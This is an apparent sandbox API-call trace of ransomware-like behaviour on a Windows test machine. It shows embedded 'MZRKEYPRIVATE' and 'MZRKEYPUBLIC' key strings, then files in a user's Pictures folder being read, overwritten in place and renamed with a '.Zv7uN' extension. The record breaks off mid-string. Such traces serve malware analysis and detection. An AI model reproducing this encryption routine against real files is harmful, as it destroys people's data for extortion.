eEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.332] GetCurrentThreadId () returned 0xa30 [0085.332] GetCurrentThreadId () returned 0xa30 [0085.332] GetCurrentThreadId () returned 0xa30 [0085.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.333] GetCurrentThreadId () returned 0xa30 [0085.333] GetCurrentThreadId () returned 0xa30 [0085.333] GetCurrentThreadId () returned 0xa30 [0085.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\nASdIGvuK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nasdigvuk.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0085.333] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0085.334] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0085.334] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x7b4b [0085.334] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0085.334] ReadFile (in: hFile=0x104, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x7b4b, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18ee3c*=0x7b4b, lpOverlapped=0x0) returned 1 [0085.337] CloseHandle (hObject=0x104) returned 1 [0085.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\nASdIGvuK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nasdigvuk.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0085.340] WriteFile (in: hFile=0x104, lpBuffer=0x1f00fa0*, nNumberOfBytesToWrite=0x7b4b, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f00fa0*, lpNumberOfBytesWritten=0x18ee48*=0x7b4b, lpOverlapped=0x0) returned 1 [0085.343] CloseHandle (hObject=0x104) returned 1 [0085.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\nASdIGvuK.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nasdigvuk.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\nASdIGvuK.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nasdigvuk.bmp.zv7un")) returned 1 [0085.346] GetCurrentThreadId () returned 0xa30 [0085.346] GetCurrentThreadId () returned 0xa30 [0085.346] GetCurrentThreadId () returned 0xa30 [0085.346] GetCurrentThreadId () returned 0xa30 [0085.346] GetCurrentThreadId () returned 0xa30 [0085.346] GetCurrentThreadId () returned 0xa30 [0085.346] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773bd8a0, ftCreationTime.dwHighDateTime=0x1d5e1a2, ftLastAccessTime.dwLowDateTime=0x99b60e20, ftLastAccessTime.dwHighDateTime=0x1d5e6d7, ftLastWriteTime.dwLowDateTime=0x99b60e20, ftLastWriteTime.dwHighDateTime=0x1d5e6d7, nFileSizeHigh=0x0, nFileSizeLow=0x10272, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="NB9o.jpg", cAlternateFileName="")) returned 1 [0085.346] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0085.346] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\NB9o.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nb9o.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773bd8a0, ftCreationTime.dwHighDateTime=0x1d5e1a2, ftLastAccessTime.dwLowDateTime=0x99b60e20, ftLastAccessTime.dwHighDateTime=0x1d5e6d7, ftLastWriteTime.dwLowDateTime=0x99b60e20, ftLastWriteTime.dwHighDateTime=0x1d5e6d7, nFileSizeHigh=0x0, nFileSizeLow=0x10272)) returned 1 [0085.346] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\NB9o.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nb9o.jpg")) returned 0x20 [0085.346] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\NB9o.jpg", dwFileAttributes=0x80) returned 1 [0085.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/C